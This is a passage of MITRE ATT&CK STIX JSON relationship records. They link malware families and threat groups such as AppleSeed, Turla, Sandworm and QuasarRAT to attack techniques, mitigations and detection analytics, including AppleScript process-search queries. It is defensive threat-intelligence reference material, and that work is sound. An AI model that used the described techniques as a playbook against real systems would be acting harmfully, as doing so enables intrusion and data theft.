2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ee16333-0c70-4d8a-8fc7-ab81e4fe389a","type":"relationship","created":"2021-06-11T17:02:07.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T17:02:07.720Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can exfiltrate files via the C2 channel.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ee2a9f3-9174-4927-8561-56d5c6723b9e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"}],"modified":"2019-05-14T19:15:24.371Z","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of gathering system information.(Citation: FireEye APT33 Sept 2017)","relationship_type":"uses","source_ref":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ee385ef-7e78-47bf-be25-8ba112f9280e","type":"relationship","created":"2020-06-01T14:41:54.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-16T16:43:36.140Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to identify the user on a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ee6eb40-881c-4928-a036-58a8df0e8f95","created":"2023-09-18T19:30:39.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T16:39:57.265Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to connect with actor-controlled C2 servers using a custom binary protocol over port 443.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ee893d7-f87e-4d2e-a440-4ba9cb3a3561","created":"2023-02-09T18:39:10.402Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-09T18:39:10.402Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can conduct port scanning against targeted systems.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9ee8a8fb-798e-4fa0-9ae0-ab96e75c9f4e","created":"2021-11-24T20:17:35.504Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used PowerShell scripts to execute malicious code.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T19:13:54.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9eeb0de3-2010-4f77-949d-501299902a63","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T20:43:17.426Z","description":"Monitor for newly executed processes that may abuse AppleScript for execution. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalytic 1 - Look for unusual AppleScript process creation.\n\n sourcetype=macOS:Process\n| search (parent_process_name=\"osascript\" OR parent_process_name=\"NSAppleScript\" OR parent_process_name=\"OSAScript\") \n\nAnalytic 2 - Untrusted Locations\n\n source=\"*Osquery:*\" EventCode=\"process_added\" AND Path LIKE \"/Users/*/Downloads/*\" OR Path LIKE \"/tmp/*\" \n\nAnalytic 3 - Parent/Child Process Relationship\n\n source=\"*Osquery:*\" EventCode=\"process_added\" AND ParentImage= \"/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder\" AND Image LIKE \"*osascript*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9eedce39-c414-4953-9402-f80b725d003c","created":"2024-09-04T20:12:34.509Z","revoked":false,"external_references":[{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T20:12:34.509Z","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) can use a malicious PowerShell script to bypass Windows controls.(Citation: IBM ZeroCleare Wiper December 2019)","relationship_type":"uses","source_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a","type":"relationship","created":"2017-05-31T21:33:27.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}],"modified":"2021-03-23T18:34:56.454Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover network configuration details using the arp -a, nbtstat -n, net config, ipconfig /all, and route commands, as well as [NBTscan](https://attack.mitre.org/software/S0590).(Citation: Kaspersky Turla)(Citation: Symantec Waterbug Jun 2019)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also retrieved registered RPC interface information from process memory.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ef08a26-d881-4a36-952b-c07808093c6b","type":"relationship","created":"2020-03-13T19:55:35.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077","description":"UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.","source_name":"UCF STIG Elevation Account Enumeration"}],"modified":"2021-10-13T14:05:14.879Z","description":"Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.(Citation: UCF STIG Elevation Account Enumeration)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ef2a5a7-3be8-426a-8411-ca78e35cef3a","created":"2022-09-07T19:55:59.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:58:42.977Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used WMI queries to check if various security applications were running as well as to determine the operating system version.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ef511b5-ecdb-4f11-97f6-0046ec25af84","type":"relationship","created":"2021-10-14T14:28:27.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:28:27.119Z","description":"[Nomadic Octopus](https://attack.mitre.org/groups/G0133) as attempted to lure victims into clicking on malicious attachments within spearphishing emails.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-06T20:00:24.030Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [at](https://attack.mitre.org/software/S0110) to register a scheduled task to execute malware during lateral movement.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ef645ab-afd1-41d6-ad60-d207fd134748","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T02:32:27.141Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ef6f961-f383-4674-9c5c-6f5984cabee7","created":"2023-09-07T21:50:12.131Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-07T21:50:12.131Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ef81bca-b60b-4c39-91ca-38a7f5e676d9","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9efe8d02-cecd-4e14-9e33-1a03519f4af1","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672). Correlate other security systems with login information (e.g., a user has the KRBTGT account password hash and forges Kerberos ticket-granting tickets). ","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f001062-668f-45c9-a747-f224c8e5712a","type":"relationship","created":"2020-09-17T12:51:40.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Disable VBA Jan 2020","url":"https://docs.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/turn-off-visual-basic-for-application","description":"Microsoft. (2020, January 23). How to turn off Visual Basic for Applications when you deploy Office. Retrieved September 17, 2020."}],"modified":"2021-10-15T14:02:08.136Z","description":"Turn off or restrict access to unneeded VB components.(Citation: Microsoft Disable VBA Jan 2020)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f00ebba-7e80-4495-8ba0-081e6a8cc0c8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.800Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under HKCU\\Software\\Microsoft\\Office\\.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f019e9c-ed00-4d1a-a213-dad6c3c2fbcb","created":"2024-08-14T14:19:08.008Z","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:19:08.008Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors modified and disabled components of endpoint detection and response (EDR) solutions including Microsoft Defender Antivirus.(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f07c92a-78a0-438a-8cb2-01e2bddaeb42","created":"2021-01-04T21:30:14.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Industroyer","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"},{"source_name":"Dragos Crashoverride 2017","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf"},{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"},{"source_name":"Secureworks IRON VIKING","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.","url":"https://www.secureworks.com/research/threat-profiles/iron-viking"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:04:50.748Z","description":"(Citation: Dragos Crashoverride 2018)(Citation: Dragos Crashoverride 2017)(Citation: ESET Industroyer)(Citation: Secureworks IRON VIKING)(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f0abcfc-68b7-4e6c-9b9c-e511fdd2db00","created":"2024-08-28T14:20:33.755Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-28T14:20:33.755Z","description":"Consider filtering publish/subscribe protocol requests to untrusted or known bad resources over irregular ports (e.g. MQTT’s standard ports are 1883 or 8883).","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f0f23ed-644d-44f5-bee9-c3f44f04a6d8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","source_name":"GitHub QuasarRAT"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2020-03-20T00:10:31.146Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from common FTP clients.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f0f2cd3-5bcb-48c9-812f-f8a37f3dfdd3","type":"relationship","created":"2021-01-25T13:58:25.276Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-04-14T16:08:33.771Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can collect the host's IP addresses using the ipconfig command.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9f10e334-ae5f-4d8e-8229-64408fef1fd1","created":"2020-11-25T22:46:47.792Z","x_mitre_version":"1.0","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has researched software code to enable supply-chain operations, most notably for the 2017 [NotPetya](https://attack.mitre.org/software/S0368) 